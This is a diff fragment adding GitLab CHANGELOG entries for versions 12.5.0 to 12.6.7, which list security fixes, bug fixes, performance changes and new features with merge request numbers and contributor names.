+- Update GitLab's codeclimate to 0.85.6. !22659 (Takuya Noguchi)
+- Updated no commit verbiage. !22765
+- Use IS08601.3 format for app level logging of timestamps. !22793
+- Upgrade octokit and its dependencies. !22946
+- Remove feature flag for import graceful failures.
+- Update the Net-LDAP gem to 0.16.2.
+
+
+## 12.6.7
+
+### Security (1 change)
+
+- Fix ProjectAuthorization calculation for shared groups.
+
+
+## 12.6.6
+
+### Security (1 change)
+
+- Update workhorse to v8.20.0.
+
+
+## 12.6.5
+
+### Security (19 changes, 1 of them is from the community)
+
+- Update rack-cors to 1.0.6.
+- Update rdoc to 6.1.2.
+- Bump rubyzip to 2.0.0. (Utkarsh Gupta)
+- Cleanup todos for users from a removed linked group.
+- Disable access to last_pipeline in commits API for users without read permissions.
+- Add constraint to group dependency proxy endpoint param.
+- Limit number of AsciiDoc includes per document.
+- Prevent API access for unconfirmed users.
+- Enforce permission check when counting activity events.
+- Prevent gafana integration token from being displayed as a plain text to other project maintainers, by only displaying a masked version of it.
+- Fix xss on frequent groups dropdown.
+- Fix XSS vulnerability on custom project templates form.
+- Protect internal CI builds from external overrides.
+- ImportExport::ExportService to require admin_project permission.
+- Make sure that only system notes where all references are visible to user are exposed in GraphQL API.
+- Disable caching of repository/files/:file_path/raw API endpoint.
+- Make cross-repository comparisons happen in the source repository.
+- Update excon to 0.71.1 to fix CVE-2019-16779.
+- Add workhorse request verification to package upload endpoints.
+
+
+## 12.6.4
+
+### Security (1 change)
+
+- Fix private objects exposure when using Project Import functionality.
+
+
+## 12.6.2
+
+### Security (6 changes)
+
+- GraphQL: Add timeout to all queries.
+- Filter out notification settings for projects that a user does not have at least read access.
+- Hide project name and path when unsusbcribing from an issue or merge request.
+- Fix 500 error caused by invalid byte sequences in uploads links.
+- Return only runners from groups where user is owner for user CI owned runners.
+- Fix Vulnerability of Release Evidence.
+
+
+## 12.6.1
+
+### Fixed (2 changes)
+
+- Handle forbidden error when checking for knative. !22170
+- Fix stack trace highlight for PHP. !22258
+
+### Performance (1 change)
+
+- Eliminate N+1 queries in PipelinesController#index. !22189
+
+
+## 12.6.0
+
+### Security (4 changes)
+
+- Update Rugged to v0.28.4.1. !21869
+- Update maven_file_name_regex for full string match.
+- Add maven file_name regex validation on incoming files.
+- Update Workhorse and Gitaly to fix a security issue.
+
+### Removed (1 change)
+
+- Remove downstream pipeline connecting lines. !21196
+
+### Fixed (101 changes, 16 of them are from the community)
+
+- Fix delete user dialog bypass caused by hitting enter. !17343
+- Fix broken UI on Environment folder. !17427 (Takuya Noguchi)
+- Fix award emoji tooltip being escaped twice if multiple people voted. !19273 (Brian T)
+- Use cascading deletes for deleting oauth_openid_requests upon deleting an oauth_access_grant. !19617
+- Update merging an MR behavior on the API when pipeline fails. !19641 (briankabiro)
+- Vertically align collapse button on epic sidebar. !19656
+- Fix projects list to show info in user's locale. !20015 (Arun Kumar Mohan)
+- Update padding for cluster alert warning. !20036 (George Tsiolis)
+- Show correct warning on issue when project is archived. !20078
+- Resets aria-describedby on mouseleave. !20092 (carolcarvalhosa)
+- Allow patch notes on repo tags page to word wrap. !20135
+- Remove Release edit url for users not allowed to update a release. !20136
+- Fix group managed accounts members cleanup. !20157
+- Epic tree bug fixes. !20209
+- Add missing external-link icon for Crossplane managed app. !20283
+- Fixes MR approvers tooltip wrong color. !20287 (Dheeraj Joshi)
+- Ignore empty MR diffs when migrating to external storage. !20296
+- Add link color to design comments. !20302
+- Fix graph groups in monitor dashboard that are hidden on load. !20312
+- Update Container Registry naming restrictions to allow for sequential '-'. !20318
+- Fixed monitor charts from throwing error when zoomed. !20331
+- Validate the merge sha before merging, confirming that the merge will only contain what the user saw. !20348
+- Change container registry column name from Tag ID to Image ID. !20349
+- Fix dropdown location on the monitoring charts. !20400
+- Fixed project import from export ignoring namespace selection. !20405
+- Backup: Disable setting of ACL for Google uploads. !20407
+- Fix documentation link from empty environment dashboard. !20415
+- Move persistent_ref.create into run_after_commit. !20422
+- Update external link to provider in cluster settings. !20425
+- Fix issue trying to edit weight with collapsed sidebar as guest. !20431
+- Handle empty stacktrace and entries with no code. !20458
+- Refactor the Deployment model so state machine events are used by both CI and the API. !20474
+- Guest users should not delete project snippets they created. !20477
+- Accept user-defined dashboard uids in Grafana embeds. !20486
+- Fix multi select input padding in project and group user select. !20520 (Kevin Lee)
+- Use correct fragment identifier for vulnerability help path. !20524
+- Fix group search in groups dropdown. !20535
+- Fix removing of child epics that belong to subgroups. !20610
+- Fix opening Sentry error details in new tab. !20611
+- Ensure next unresolved discussion button takes user to the right place. !20620
+- Allow Gitlab GKE clusters to access Google Cloud Registry private images. !20662 (Tan Yee Jian)
+- Fix cron parsing for Daylight Savings. !20667
+- Fix incorrect new branch name from issue. !20677 (Lee Tickett)
+- Improve the way the metrics dashboard waits for data. !20687
+- Remove destroy_personal_snippet ability. !20717
+- Try longer to clean up after using a gpg-keychain and raise exption if the cleanup fails. !20718
+- Fix tooltip hovers in environments table. !20737
+- Remove DB transaction from Rebase operation. !20739
+- Improve UX for vulnerability dismissal note. !20768
+- Fix change to default foreground and backgorund colors in job log. !20787
+- Display Labels item in sidebar when Issues are disabled. !20817
+- Junit success percentage no longer displays 100% if there are failures. !20835
+- Ensure to check create_personal_snippet ability. !20838
+- Fix a display bug in the fork removal description message. !20843
+- Validate unique environment scope for instance clusters. !20886
+- Add empty region when group metrics are missing. !20900
+- Adjust issue metrics first_mentioned_in_commit_at calculation. !20923
+- Update copy on managed namespace prefixes. !20935
+- Add protected branch permission check to run downstream pipelines. !20964
+- Fix assignee url in issue board sidebar. !20992 (Lee Tickett)
+- Retrieve issues from subgroups when rendering group milestone. !21024
+- Adds 409 when user cannot be soft deleted through the API. !21037
+- Respect the timezone reported from Gitaly. !21066
+- Fix Container repositories can not be replicated when s3 is used. !21068
+- Remove redundant toast.scss file and variables. !21105
+- Respect snippet query params when displaying embed urls. !21131
+- Remove action buttons from designs tab if there are no designs. !21186
+- Correctly return stripped PGP text. !21187 (Roger Meier)
+- Fix error when linking already linked issue to epic. !21213
+- Do not attribute unverified commit e-mails to GitLab users. !21214
+- Add nonunique indexes to Labels. !21230
+- Fix snippet routes. !21248
+- Fix Zoom Quick Action server error when creating a GitLab Issue. !21262
+- Rename snippet refactored routes. !21267
+- Validate connection section in direct upload config. !21270
+- Fix pipeline retry in a CI DAG. !21296
+- Authenticate runner requests in Rack::Attack. !21311
+- Fix top border of README file header in file list. !21314
+- Fix forking a deduplicated project after it was moved to a different shard. !21339
+- Fix misaligned approval tr. !21368 (Lee Tickett)
+- Fix crash registry contains helm charts. !21381
+- Web IDE: Fix the console error that happens when discarding a newly added/uploaded file. !21537
+- Authenticate requests with job token as basic auth header for request limiting. !21562
+- Fix Single-File-Editor-Layout breaking when branch name is too long. !21577 (Roman Kuba)
+- Fix top border of README in vue_file_list. !21578 (Hector Bustillos)
+- Stage dropdown lists style corrections. !21607 (Hector Bustillos)
+- Change commit_id type on commit_user_mentions table. !21651
+- Do not clean the prometheus metrics directory for sidekiq. !21671
+- !21542 Part 1: Add new utils for Web IDE store. !21673
+- Update auto-deploy-image to v0.8.3. !21696
+- Match external user new snippet button visibility to permissions. !21718
+- Links to design comments now lead to specific note. !21724
+- Re-enable the cloud run feature. !21762
+- Ensure forks count cache refresh for source project. !21771
+- Fix padding on the design comments. !21839
+- Fix "Discard all" for new and renamed files. !21854
+- Fix project file finder url encoding file path separators. !21861
+- Ensure namespace is present for Managed-Cluster-Applications CI template. !21903
+- Rename common template jobs in sast and ds. !22084
+- Fixed query behind release filter on merge request search page. !38244
+- Activate projects Prometheus service integration when Prometheus managed application is installed on shared cluster.
+
+### Deprecated (4 changes)
+
+- Drop deprecated column from projects table. !18914
+- Limit number of projects displayed in GET /groups/:id API. !20023
+- Move operations project routes under - scope. !20456
+- Move wiki routing under /-/ scope. !21185
+
+### Changed (60 changes, 10 of them are from the community)
+
+- Use better context-specific empty state screens for the Security Dashboards. !18382
+- Add evidence collection for Releases. !18874
+- Update information and button text for deployment footer. !18918
+- Move merge request description into discussions tab. !18940
+- Keep details in MR when changing target branch. !19138
+- Make internal projects poolable. !19295 (briankabiro)
+- Enable support for multiple content query in GraphQL Todo API. !19576
+- Allow merge without refresh when new commits are pushed. !19725
+- Correct link to Merge trains documentation on MR widget. !19726
+- Preserve merge train history. !19864
+- Support go-source meta tag for godoc.org. !19888 (Ethan Reesor (@firelizzard))
+- Display a better message when starting a discussion on a deleted comment. !20031 (Jacopo Beschi @jacopo-beschi)
+- Add sort param to error tracking issue index. !20101
+- Add template repository usage to the usage ping. !20126 (minghuan lei)
+- Convert flash epic error to form validation error. !20130
+- Add 'download' button to Performance Bar. !20205 (Will Chandler)
+- SaaS trial copy shows plan. !20207
+- Add rbac access to knative-serving namespace deployments to get knative version information. !20244
+- Unlock button changed from Icon to String. !20307
+- Upgrade to Gitaly v1.72.0. !20313
+- Increase upper limit of start_in attribute to 1 week. !20323 (Will Layton)
+- Add CI variable to show when Auto-DevOps is explicitly enabled. !20332
+- Hashed Storage attachments migration: exclude files in object storage as they are all hashed already. !20338
+- Removes caching for design tab discusisons. !20374
+- Fixes to inconsistent margins/sapcing in the project detail page. !20395
+- Changes to how the search term is styled in the results. !20416
+- Move confidence column in the security dashboard. !20435 (Dheeraj Joshi)
+- Upgrade to Gitaly v1.73.0. !20443
+- Replacing incorrect icon in security dashboard. !20510
+- Rework pod logs navigation scheme. !20578
+- Reduce start a trial rocket emoji size. !20579
+- Upgrade auto-deploy-image for helm default values file. !20588
+- Exposed deployment build manual actions for merge request page. !20615
+- Upgrade to Gitaly v1.74.0. !20706
+- Fetches initial merge request widget data async. !20719
+- Add service desk information to project graphQL endpoint. !20722
+- Add admin mode controller path to Rack::Attack defaults. !20735 (Diego Louzán)
+- Add more filters to SnippetsFinder. !20767
+- Clean up the cohorts table. !20779
+- Remove vulnerability counter from security tab. !20800
+- Only blacklist IPs from Git requests. !20828
+- Optimize Deployments endpoint by preloading associations and make record ordering more consistent. !20848
+- Update deploy instances color scheme. !20890
+- Add service desk information to projects API endpoint. !20913
+- Added event tracking to the package details installation components. !20967
+- Hide Merge Request information on milestones when MRs are disabled for project. !20985 (Wolfgang Faust)
+- Upgrade to Gitaly v1.75.0. !21045
+- Evidence - Added restriction for guest on Release page. !21102
+- Increase lower DAG `needs` limit from five to ten. !21237
+- Add doc links to features on admin dashboard. !21419
+- Autofocus cluster dropdown search input. !21440
+- Add autofocus to label search fields. !21508
+- When a forked project is less visible than its source, merge requests opened in the fork now target the less visible project by default. !21517
+- UI improvements in the views for new project from template and the user groups and snippets. !21524 (Hector Bustillos)
+- Show merge immediately dialog even if the MR's pipeline hasn't finished. !21556
+- Support toggling service desk from API. !21627
+- Make `workflow:rules` to work well with Merge Requests. !21742
+- Upgrade to Gitaly v1.76.0. !21857
+- Remove authentication step from visual review tools instructions.
+- Fixes wording on runner admin.
+
+### Performance (22 changes)
+
+- Optimize query for CI pipelines of merge request. !19653
+- Replace index on environments table project_id and state with project_id, state, and environment_type. !19902
+- Remove reactive caching value keys once the alive key has expired. !20111
+- Suggest squash commit messages based on recent commits. !20231
+- Improve performance of /api/:version/snippets/public API and only return public personal snippets. !20339
+- Add limit for snippet content size. !20346
+- Reduce Gitaly calls in BuildHooksWorker. !20365
+- Enable ETag caching for MR notes polling. !20440
+- Disable public project counts on welcome page. !20517
+- Optimize query when Projects API requests private visibility level. !20594
+- Improve issues search performance on GraphQL. !20784
+- UpdateProjectStatistics updates after commit. !20852
+- Run housekeeping after moving a repository between shards. !20863
+- Require group_id or project_id for MR target branch autocomplete action. !20933
+- Cache the ancestor? Gitaly call to speed up polling for the merge request widget. !20958
+- Optimize loading the repository deploy keys page. !20970
+- Added lightweight check when retrieving Prometheus metrics. !21099
+- Limit max metrics embeds in GFM to 100. !21356
+- Fork Puma to validate scheduler fixes. !21547
+- Remove an N+1 call rendering projects search results. !21626
+- Skip updating LFS objects in mirror updates if repository has not changed. !21744
+- Add indexes on deployments to improve environments search. !21789
+
+### Added (119 changes, 18 of them are from the community)
+
+- Add upvote/downvotes attributes to GraphQL Epic query. !14311
+- Delete kubernetes cluster association and resources. !16954
+- Add badge name field. !16998 (Lee Tickett)
+- Add OmniAuth authentication support to admin mode feature. !18214 (Diego Louzán)
+- Creates DB tables for storing mentioned users, groups, projects referenced in a note or issuable description. !18316
+- Add body data elements for pageview context. !18450
+- Added filtering of inherited members for subgroups. !18842
+- Added responsiveness to audit events table. !18859
+- Add ability to make Jira comments optional. !19004
+- Store users, groups, projects mentioned in Markdown to DB tables. !19088
+- Upgrade `mail_room` gem to 0.10.0 and enable structured logging. !19186
+- Add possibility to save max issue weight on lists. !19220
+- Return 422 status code in case of error in submitting comments. !19276 (raju249)
+- Add Personal Access Token expiration reminder. !19296
+- Add recent search to error tracking. !19301
+- Resolve Limit the number of stored sessions per user. !19325
+- Add services for 'soft-delete for groups' feature. !19358
+- Notify user when over 1000 epics in roadmap. !19419
+- Search list of Sentry errors by title in GitLab. !19439
+- Add issue statistics to releases on the Releases page. !19448
+- Add snowplow events for monitoring dashboard. !19455
+- Add snowplow events for APM. !19463
+- Add GraphQL mutation to mark all todos done for a user. !19482
+- Added rules configuration for Ci::Bridge. !19605
+- Add workers for 'soft-delete for groups' feature. !19679
+- add tagger within tag view. !19681 (Roger Meier)
+- Strong validate import export references. !19682
+- Update Release API with evidence related data. !19706
+- Graphql query for issues can now be sorted by weight. !19721
+- GraphQL for Sentry rror details. !19733
+- View closed issues in epic. !19741
+- Add API endpoint to unpublish GitLab Pages. !19781
+- Add Pipeline Metadata to Packages. !19796
+- Create data model for serverless domains. !19835
+- Add Unify Circuit project integration service. !19849 (Fabio Huser)
+- add sha256 fingerprint to keys model, view and extend users API to search user via fingerprint. !19860 (Roger Meier)
+- Allow order_by updated_at in Pipelines API. !19886
+- Implement pagination for project releases page. !19912 (Fabio Huser)
+- Add migrations for secret snippets. !19939
+- Control passing artifacts from CI DAG needs. !19943
+- Genereate a set of sample prometheus metrics and route to the sample metrics when enabled. !19987
+- Add warning dialog when users click the "Merge immediately" merge train option. !20054
+- Expose moved_to_id in issues API. !20083 (Lee Tickett)
+- Relate issues when they are marked as duplicated. !20161 (minghuan lei)
+- Asks for confirmation before changing project visibility level. !20170
+- Allow CI config path to point to a URL or file in a different repository. !20179
+- Allow groups to disable mentioning their members, if the group is mentioned. !20184 (Fabio Huser)
+- Add modsecurity deployment counts to usage ping. !20196
+- Added legend to deploy boards. !20208
+- Support passing CI variables via git push options. !20255
+- Add GraphQL mutation to restore a Todo. !20261
+- Allow specifying Kubernetes namespace for an environment in gitlab-ci.yml. !20270
+- Add migrations for 'soft-delete for groups' feature. !20276
+- Add Maven installation commands to package detail page for Maven packages. !20300
+- Add feature to allow specifying userWithId strategies per environment spec. !20325
+- Enable creating Amazon EKS clusters from GitLab. !20333
+- Add ability to create new issue from sentry error detail page. !20337
+- Convert flash alerts to toasts. !20356
+- Return project commit url instead of commits url. !20369 (raju249)
+- Collect the date a SaaS trial starts on. !20384
+- Add option to delete cached Kubernetes namespaces. !20411
+- Create container expiration policies for projects. !20412
+- Adjust fork network relations upon project visibility change. !20466
+- Create a license info rake task. !20501 (Jason Colyer)
+- Add GraphQL mutation for changing due date of an issue. !20577
+- Add Snippet GraphQL resolver endpoints. !20613
+- Allow Job-Token authentication on Releases creation API. !20632
+- Add created_before/after filter to group/project audit events. !20641
+- Allow searching of projects by full path. !20659
+- Allow administrators to set a minimum password length. !20661
+- Update helper text for sentry error tracking settings. !20663 (Rajendra Kadam)
+- Adds ability to create issues from sentry details page. !20666
+- Add coverage difference visualization to merge request page. !20676 (Fabio Huser)
+- Use CI configured namespace for deployments to unmanaged clusters. !20686
+- Resolve Design view: Download single issue design image. !20703
+- Import large gitlab_project exports via rake task. !20724
+- Added Total/Frontend metrics to the performance bar. !20725
+- Add dependency scanning flag for skipping automatic bundler audit update. !20743
+- Add GraphQL mutation for setting an issue as confidential. !20785
+- Track adding metric via monitoring dashboard. !20818
+- Add _links object to package api response. !20820
+- CI template for installing cluster applications. !20822
+- Add SalesforceDX project template. !20831
+- Allow NPM package downloads with CI_JOB_TOKEN. !20868
+- Allow raw blobs to be served from an external storage. !20936
+- Added Snippets GraphQL mutations. !20956
+- Added WebHookLogs for ServiceHooks. !20976
+- Surface GitLab issue in error detail page. !21019
+- Add type to broadcast messages. !21038
+- add OpenAPI file viewer. !21106 (Roger Meier)
+- Add updated_before and updated_after filters to the Pipelines API endpoint. !21133
+- Implement pagination for sentry errors. !21136
+- Add support for Conan package management in the package registry. !21152
+- Add syntax highlight for Sentry error stack trace. !21182
+- Keyset pagination for REST API (Project endpoint). !21194
+- CI template for Sentry managed app. !21208
+- Add CI variable to set the version of pip when scanning dependencies of Python projects. !21218
+- Add dependency scanning flag for specifying pip requirements file for scanning. !21219
+- Do not allow specifying a Kubernetes namespace via CI template for managed clusters. !21223
+- Sort Sentry error list by first seen, last seen or frequency. !21250
+- Add documentation about dependency scanning gradle support. !21253
+- Allow PDF attachments to be opened on browser. !21272
+- Add child label to commit box. !21323
+- Update Knative to 0.9.0. !21361 (cab105)
+- Add target_path to broadcast message API. !21430
+- Allow Kubernetes namespaces specified via CI template to be used for terminals, pod logs and deploy boards. !21460
+- Allow styling broadcast messages. !21522
+- Enable new job log by default. !21543
+- Document support for sbt dependency scanning. !21588
+- Return multiple errors from CI linter. !21589
+- Add specific error states to dashboard. !21618
+- Add timestamps to pod logs. !21663
+- Hide profile information when user is blocked. !21706
+- link to group on group admin page. !21709
+- Added migration which adds service desk username column. !21733
+- Add SentryIssue table to store a link between issue and sentry issue. !37026
+- Add path based targeting to broadcast messages.
+- Add allow failure in pipeline webhook event. !20978 (Gaetan Semet)
+- Add runner information in build web hook event. !20709 (Gaetan Semet)
+
+### Other (51 changes, 28 of them are from the community)
+
+- Remove done callbacks from vue_shared/components/markdown. !16842 (Lee Tickett)
+- Update timeago to the latest release. !19407
+- Improve job tokens and provide access helper. !19793
+- Add post deployment migration to complete pages metadata migration. !19928
+- Resolve Document - Make using GitLab auth with Vault easy. !19980
+- Remove IIFEs from gl_dropdown.js. !19983 (nuwe1)
+- Improve sparkline chart in MR widget deployment. !20085
+- Updated jekyll project_template. !20090 (Marc Schwede)
+- Updated hexo project_template. !20105 (Marc Schwede)
+- Updated hugo project_template. !20109 (Marc Schwede)
+- Resolve environment rollback was not friendly. !20121
+- Removed all references of BoardService. !20144 (nuwe1)
+- Removes references of BoardService in list file. !20145 (nuwe1)
+- replace var gl_dropdown.js. !20166 (nuwe1)
+- delete board_service.js. !20168 (nuwe1)
+- Improve create confidential MR dropdown styling. !20176 (Lee Tickett)
+- Remove milestone_id from epics. !20187 (Lee Tickett)
+- Remove build badge path from route. !20188 (Lee Tickett)
+- Add worker attributes to Sidekiq metrics. !20292
+- Update GitLab Runner Helm Chart to 0.11.0. !20461
+- add missing test for add_index rubocop rule. !20464 (Eric Thomas)
+- Suppress progress on pulling image on Code Quality of Auto DevOps. !20604 (Takuya Noguchi)
+- Increase margin between project stats. !20606
+- Remove extra spacing below sidebar time tracking info. !20657 (Lee Tickett)
+- Add e2e qa test for email delivery. !20675 (Diego Louzán)
+- Collect project import failures instead of failing fast. !20727
+- Removed unused methods in monitoring dashboard. !20819
+- removes references of BoardService. !20872 (nuwe1)
+- removes references of BoardService. !20874 (nuwe1)
+- removes references of BoardService. !20875 (nuwe1)
+- removes references of BoardService. !20876 (nuwe1)
+- removes references of BoardService. !20877 (nuwe1)
+- removes references of BoardService. !20879 (nuwe1)
+- removes references of BoardService. !20880 (nuwe1)
+- removes references of BoardService. !20881 (nuwe1)
+- Remove whitespaces between tree-controls elements. !20952
+- Add Project Export request/download rate limits. !20962
+- Remove feature flag for limiting diverging commit counts. !20999
+- Changed 'Add approvers' to 'Approval rules'. !21079
+- Resolve Add missing popover and remove none in MR widget. !21095
+- Change Puma log format to JSON. !21101
+- Update GitLab Shell to v10.3.0. !21151
+- Improve diff expansion text. !21616
+- Remove var from app/assets/javascripts/commit/image_file.js. !21649 (Abubakar Hassan)
+- Rename User#full_private_access? to User#can_read_all_resources?. !21668 (Diego Louzán)
+- Replace CI_COMMIT_REF with CI_COMMIT_SHA on CI docs. !21781 (Takuya Noguchi)
+- Add reportSnippet permission to Snippet GraphQL. !21836
+- Harmonize capitalization on cluster UI. !21878 (Evan Read)
+- Add mark as spam snippet mutation. !21912
+- Update Workhorse to v8.18.0. !22091
+- Replace Font Awesome bullhorn icon with GitLab bullhorn icon.
+
+
+## 12.5.8
+
+### Security (19 changes, 1 of them is from the community)
+
+- Prevent gafana integration token from being displayed as a plain text to other project maintainers, by only displaying a masked version of it.
+- Update rdoc to 6.1.2.
+- Bump rubyzip to 2.0.0. (Utkarsh Gupta)
+- Cleanup todos for users from a removed linked group.
+- Disable access to last_pipeline in commits API for users without read permissions.
+- Add constraint to group dependency proxy endpoint param.
+- Limit number of AsciiDoc includes per document.
+- Prevent API access for unconfirmed users.
+- Enforce permission check when counting activity events.
+- Update rack-cors to 1.0.6.
+- Fix xss on frequent groups dropdown.
+- Fix XSS vulnerability on custom project templates form.
+- Protect internal CI builds from external overrides.
+- ImportExport::ExportService to require admin_project permission.
+- Make sure that only system notes where all references are visible to user are exposed in GraphQL API.
+- Disable caching of repository/files/:file_path/raw API endpoint.
+- Make cross-repository comparisons happen in the source repository.
+- Update excon to 0.71.1 to fix CVE-2019-16779.
+- Add workhorse request verification to package upload endpoints.
+
+### Changed (1 change, 1 of them is from the community)
+
+- Add template repository usage to the usage ping. !20126 (minghuan lei)
+
+
+## 12.5.5
+
+### Security (1 change)
+
+- Upgrade Akismet gem to v3.0.0. !21786
+
+### Fixed (2 changes)
+
+- Fix error in updating runner session. !20902
+- Fix Asana integration. !21501
+
+
+## 12.5.4
+
+### Security (1 change)
+
+- Update maven_file_name_regex for full string match.
+
+
+## 12.5.3
+
+### Fixed (4 changes)
+
+- Fix project creation with templates using /projects/user/:id API. !20590
+- Fix merging merge requests from push options. !20639
+- Fix Crossplane help link in cluster applications page. !20668
+- Fixes job log not scrolling to the bottom.
+
+### Changed (1 change)
+
+- Flatten exception details in API and controller logs. !20434
+
+
+## 12.5.1
+
+### Security (11 changes)
+
+- Do not create todos for approvers without access. !1442
+- Hide commit counts from guest users in Cycle Analytics.
+- Encrypt application setting tokens.
+- Update Workhorse and Gitaly to fix a security issue.
+- Add maven file_name regex validation on incoming files.
+- Check permissions before showing a forked project's source.
+- Limit potential for DNS rebind SSRF in chat notifications.
+- Ensure are cleaned by ImportExport::AttributeCleaner.
+- Remove notes regarding Related Branches from Issue activity feeds for guest users.
+- Escape namespace in label references to prevent XSS.
+- Add authorization to using filter vulnerable in Dependency List.
+
+
+## 12.5.0
+
+### Security (15 changes)
+
+- Enable the HttpOnly flag for experimentation_subject_id cookie. !19189
+- Update incrementing of failed logins to be thread-safe. !19614
+- Sanitize all wiki markup formats with GitLab sanitization pipelines.
+- Sanitize search text to prevent XSS.
+- Remove deploy access level when project/group link is deleted.
+- Mask sentry auth token in Error Tracking dashboard.
+- Return 404 on LFS request if project doesn't exist.
+- Don't leak private members in project member autocomplete suggestions.
+- Require Maintainer permission on group where project is transferred to.
+- Don't allow maintainers of a target project to delete the source branch of a merge request from a fork.
+- Disallow unprivileged users from commenting on private repository commits.
+- Analyze incoming GraphQL queries and check for recursion.
+- Show cross-referenced label and milestones in issues' activities only to authorized users.
+- Do not display project labels that are not visible for user accessing group labels.
+- Standardize error response when route is missing.
+
+### Fixed (100 changes, 15 of them are from the community)
+
+- Fix incorrect selection of custom templates. !17205
+- Smaller width for design comments layout, truncate image title. !17547
+- Correctly cleanup orphan job artifacts. !17679 (Adam Mulvany)
+- Add Infinite scroll to Add Projects modal in the operations dashboard. !17842
+- Allow emojis to be linkable. !18014
+- Enable image link and lazy loading in AsciiDoc documents. !18164 (Guillaume Grossetie)
+- Expose prometheus status to monitor dashboard. !18289
+- Time limit the database lock when rebasing a merge request. !18481
+- Fix missing admin mode UI buttons on bigger screen sizes. !18585 (Diego Louzán)
+- Abort only MWPS when FF only merge is impossible. !18591
+- Remove pointer cursor from MemoryUsage chart on MR widget deployment. !18599
+- Fix keyboard shortcuts in header search autocomplete. !18685
+- Fix empty chart in collapsed sections. !18699
+- Fix error when viewing group billing page. !18740
+- Fix query validation in custom metrics form. !18769
+- Fix Gitaly call duration measurements. !18785
+- Resolve Error when uploading a few designs in a row. !18811
+- Block MR with OMIPS on skipped pipelines. !18838
+- Pipeline vulnerability dashboard sort vulnerabilities by severity then confidence. !18863
+- Remove empty Github service templates from database. !18868
+- Fix broken images when previewing markdown files in Web IDE. !18899
+- fixed #27164 Image cannot be collapsed on merge request changes tab. !18917 (Jannik Lehmann)
+- Let ANSI \r code replace the current job log line. !18933
+- Fix serverless function descriptions not showing on Knative 0.7. !18973
+- Fix "project or group was moved" alerts showing up in the wrong pages. !18985
+- Add missing breadcrumb in Project > Settings > Integrations. !18990
+- Fixed admin geo collapsed sidebar fly out not showing. !19012
+- Serialize short sha as nil if head commit is blank. !19014
+- Add max width on manifest file attachment input. !19028
+- Do not generate To-Dos additional when editing group mentions. !19037
+- Fix previewing quick actions for epics. !19042
+- Fix errors in GraphQL Todos API due to missing TargetTypeEnum values. !19052
+- Hashed Storage Migration: Handle failed attachment migrations with existing target path. !19061
+- Set shorter TTL for all unauthenticated requests. !19064
+- Fix Todo IDs in GraphQL API. !19068
+- Triggers the correct endpoint on licence approval. !19078
+- Fix search button height on 404 page. !19080
+- Fix Kubernetes help text link. !19121
+- Make `jobs/request` to be resillient. !19150
+- Disable pull mirror if repository is in read-only state. !19182
+- Only enable protected paths for POST requests. !19184
+- Enforce default, global project and snippet visibilities. !19188
+- Make Bitbucket Cloud superseded pull requests as closed. !19193
+- Fix crash when docker fails deleting tags. !19208
+- Fix environment name in rollback dialog. !19209
+- Fixed a typo in the "Keyboard Shortcuts" pop-up. !19217 (Manuel Stein)
+- Fix unable to expand or collapse files in merge request by clicking caret. !19222 (Brian T)
+- Allow release block edit button to be visible. !19226
+- Fix double escaping in /tableflip quick action. !19271 (Brian T)
+- Add missing bottom padding in CI/CD settings. !19284 (George Tsiolis)
+- Prevents console warning on design upload. !19297
+- Resolve: Web IDE does not create POSIX Compliant Files. !19339
+- Use initial commit SHA instead of branch id to request IDE files and contents. !19348 (David Palubin)
+- Resolve: Web IDE Throws Error When Viewing Diff for Renamed Files. !19348
+- Fix project service API 500 error. !19367
+- Fix cluster feature highlight popover image. !19372
+- Fix template selector filename bug. !19376
+- Fixes mobile styling issues on security modals. !19391
+- Only move repos for legacy project storage. !19410
+- Show correct total number of commit diff's changes. !19424
+- Increase the timeout for GitLab-managed cert-manager installation to 90 seconds (was 30 seconds). !19447
+- Fix uninitialized constant SystemDashboardService. !19453
+- Properly handle exceptions in StuckCiJobsWorker. !19465
+- Fix user popover not being displayed when the user has a status message. !19519
+- Update omniauth_openid_connect to v0.3.3. !19525
+- Fix project clone dropdown button width. !19551 (George Tsiolis)
+- Do not escape HTML tags in Ansi2json as they are escaped in the frontend. !19610
+- [Geo] Fix: undefined Gitlab::BackgroundMigration::PruneOrphanedGeoEvents. !19638
+- Revert btn-xs styling in projects scss. !19640
+- Fix canary badge and favicon inconsistency. !19645
+- Use fingerprint when comparing security reports in MR widget. !19654
+- Update GCP credit URLs. !19683
+- Update squash_commit_sha only on successful merge. !19688
+- Fix import of snippets having `award_emoji` (Project Export/Import). !19690
+- Allow admins to administer personal snippets. !19693 (Oren Kanner)
+- Re-add missing file sizes in 2-Up diff file viewer. !19710
+- Fix checking task item when previous tasks contain only spaces. !19724
+- Fix Bitbucket Cloud importer pull request state. !19734
+- Fix merge train is not refreshed when the system aborts/drops a merge request. !19763
+- Resolve Hide Delete selected in designs when viewing an old version. !19889
+- Use new trial registration URL in billing. !19978
+- Helm v2.16.1. !19981
+- Ensure milestone titles are never empty. !19985
+- Remove unused image/screenshot. !20030 (Lee Tickett)
+- Remove local qualifier from geo sync indicators. !20034 (Lee Tickett)
+- Fixed the scale of embedded videos to fit the page. !20056
+- Fix broken monitor cluster health dashboard. !20120
+- Fix expanding collapsed threads when reference link clicked. !20148
+- Fix sub group export to export direct children. !20172
+- Remove update hook from date filter to prevent js from getting stuck. !20215
+- Prevent Dropzone.js initialisation error by checking target element existence. !20256 (Fabio Huser)
+- Fix style reset in job log when empty ANSI sequence is encoutered. !20367
+- Add productivity analytics merge date filtering limit. !32052
+- Fix productivity analytics listing with multiple labels. !33182
+- Fix closed board list loading issue.
+- Apply correctly the limit of 10 designs per upload.
+- Only allow confirmed users to run pipelines.
+- Fix scroll to bottom with new job log.
+- Fixed protected branches flash styling.
+- Show tag link whenever it's a tag in chat message integration for push events and pipeline events. !18126 (Mats Estensen)
+
+### Deprecated (2 changes)
+
+- Ignore deprecated column and remove references to it. !18911
+- Move some project routes under - scope. !19954
+
+### Changed (56 changes, 6 of them are from the community)
+
+- Upgrade design/copy for issue weights locked feature. !17352
+- Reduce new MR page redundancy by moving the source/target branch selector to the top. !17559
+- Replace raven-js with @sentry/browser. !17715
+- Ask if the user is setting up GitLab for a company during signup. !17999
+- When a user views a file's blame or blob and switches to a branch where the current file does not exist, they will now be redirected to the root of the repository. !18169 (Jesse Hall @jessehall3)
+- Propagate custom environment variables to SAST analyzers. !18193
+- Fix any approver project rule records. !18265
+- Minor UX improvements to Environments Dashboard page. !18280
+- Reduce the allocated IP for Cluster and Services. !18341
+- Update flash messages color sitewide. !18369
+- Add modsecurity template for ingress-controller. !18485
+- Hide projects without access to admin user when admin mode is disabled. !18530 (Diego Louzán)
+- Update Runners Settings Text + Link to Docs. !18534
